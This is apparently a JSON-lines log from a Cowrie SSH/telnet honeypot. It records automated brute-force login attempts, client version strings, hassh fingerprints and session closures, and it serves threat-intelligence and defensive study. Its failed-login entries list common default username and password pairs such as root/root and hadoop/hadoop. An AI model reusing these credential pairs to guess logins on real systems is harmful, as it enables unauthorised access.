{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop","message":"login attempt [hadoop/hadoop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:18.574598Z","src_ip":"192.109.200.237","session":"b9898b2d1799","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:19.659938Z","src_ip":"192.109.200.237","session":"b9898b2d1799","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":35628,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a3e042bc2b6","protocol":"ssh","message":"New connection: 89.223.69.22:35628 (10.17.0.5:22) [session: 8a3e042bc2b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:21.057693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:21.062363Z","src_ip":"89.223.69.22","session":"8a3e042bc2b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:21.174814Z","src_ip":"89.223.69.22","session":"8a3e042bc2b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:21.519666Z","src_ip":"89.223.69.22","session":"8a3e042bc2b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54780,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad986aa144d1","protocol":"ssh","message":"New connection: 192.109.200.237:54780 (159.203.135.109:22) [session: ad986aa144d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:21.636284Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:21.641289Z","src_ip":"192.109.200.237","session":"ad986aa144d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:21.723707Z","src_ip":"192.109.200.237","session":"ad986aa144d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test!@","message":"login attempt [test/test!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:21.970190Z","src_ip":"192.109.200.237","session":"ad986aa144d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:22.634573Z","src_ip":"89.223.69.22","session":"8a3e042bc2b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:23.054637Z","src_ip":"192.109.200.237","session":"ad986aa144d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54816,"dst_ip":"159.203.135.109","dst_port":22,"session":"c04084a4c13b","protocol":"ssh","message":"New connection: 192.109.200.237:54816 (159.203.135.109:22) [session: c04084a4c13b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:25.018823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:25.024481Z","src_ip":"192.109.200.237","session":"c04084a4c13b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:25.108042Z","src_ip":"192.109.200.237","session":"c04084a4c13b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"asterisk","password":"asterisk","message":"login attempt [asterisk/asterisk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:25.358884Z","src_ip":"192.109.200.237","session":"c04084a4c13b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.519994497299194,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:26.141160Z","src_ip":"50.6.8.71","session":"df9fd1318de2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:26.445373Z","src_ip":"192.109.200.237","session":"c04084a4c13b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.179003953933716,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:27.616729Z","src_ip":"50.6.8.71","session":"bfcdb6ef4cf8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54844,"dst_ip":"159.203.135.109","dst_port":22,"session":"d97b74dee099","protocol":"ssh","message":"New connection: 192.109.200.237:54844 (159.203.135.109:22) [session: d97b74dee099]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:28.585713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:28.590659Z","src_ip":"192.109.200.237","session":"d97b74dee099","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:28.745420Z","src_ip":"192.109.200.237","session":"d97b74dee099","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12qwaszx","message":"login attempt [root/12qwaszx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:29.062627Z","src_ip":"192.109.200.237","session":"d97b74dee099","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:30.148547Z","src_ip":"192.109.200.237","session":"d97b74dee099","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.2197847366333,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:31.617607Z","src_ip":"50.6.8.71","session":"d932db381187","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38142,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a52bb26eec7","protocol":"ssh","message":"New connection: 192.109.200.237:38142 (159.203.135.109:22) [session: 3a52bb26eec7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:32.135260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:32.146232Z","src_ip":"192.109.200.237","session":"3a52bb26eec7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:32.228225Z","src_ip":"192.109.200.237","session":"3a52bb26eec7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"123456","message":"login attempt [elasticsearch/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:32.475508Z","src_ip":"192.109.200.237","session":"3a52bb26eec7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:33.562005Z","src_ip":"192.109.200.237","session":"3a52bb26eec7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38160,"dst_ip":"159.203.135.109","dst_port":22,"session":"f271e389a9f0","protocol":"ssh","message":"New connection: 192.109.200.237:38160 (159.203.135.109:22) [session: f271e389a9f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:35.624879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:35.629388Z","src_ip":"192.109.200.237","session":"f271e389a9f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:35.712692Z","src_ip":"192.109.200.237","session":"f271e389a9f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:35.959897Z","src_ip":"192.109.200.237","session":"f271e389a9f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:37.044952Z","src_ip":"192.109.200.237","session":"f271e389a9f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":40954,"dst_ip":"159.203.135.109","dst_port":22,"session":"29601c5bc601","protocol":"ssh","message":"New connection: 194.113.233.25:40954 (159.203.135.109:22) [session: 29601c5bc601]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:38.688971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:38.694061Z","src_ip":"194.113.233.25","session":"29601c5bc601","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:38.790914Z","src_ip":"194.113.233.25","session":"29601c5bc601","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38184,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0cb3e1b6627","protocol":"ssh","message":"New connection: 192.109.200.237:38184 (159.203.135.109:22) [session: a0cb3e1b6627]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:39.074242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:39.079272Z","src_ip":"192.109.200.237","session":"a0cb3e1b6627","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yamaha","message":"login attempt [root/yamaha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:39.089114Z","src_ip":"194.113.233.25","session":"29601c5bc601","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:39.161713Z","src_ip":"192.109.200.237","session":"a0cb3e1b6627","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user4","password":"user4","message":"login attempt [user4/user4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:39.570628Z","src_ip":"192.109.200.237","session":"a0cb3e1b6627","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:40.187589Z","src_ip":"194.113.233.25","session":"29601c5bc601","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:40.654024Z","src_ip":"192.109.200.237","session":"a0cb3e1b6627","protocol":"ssh"}
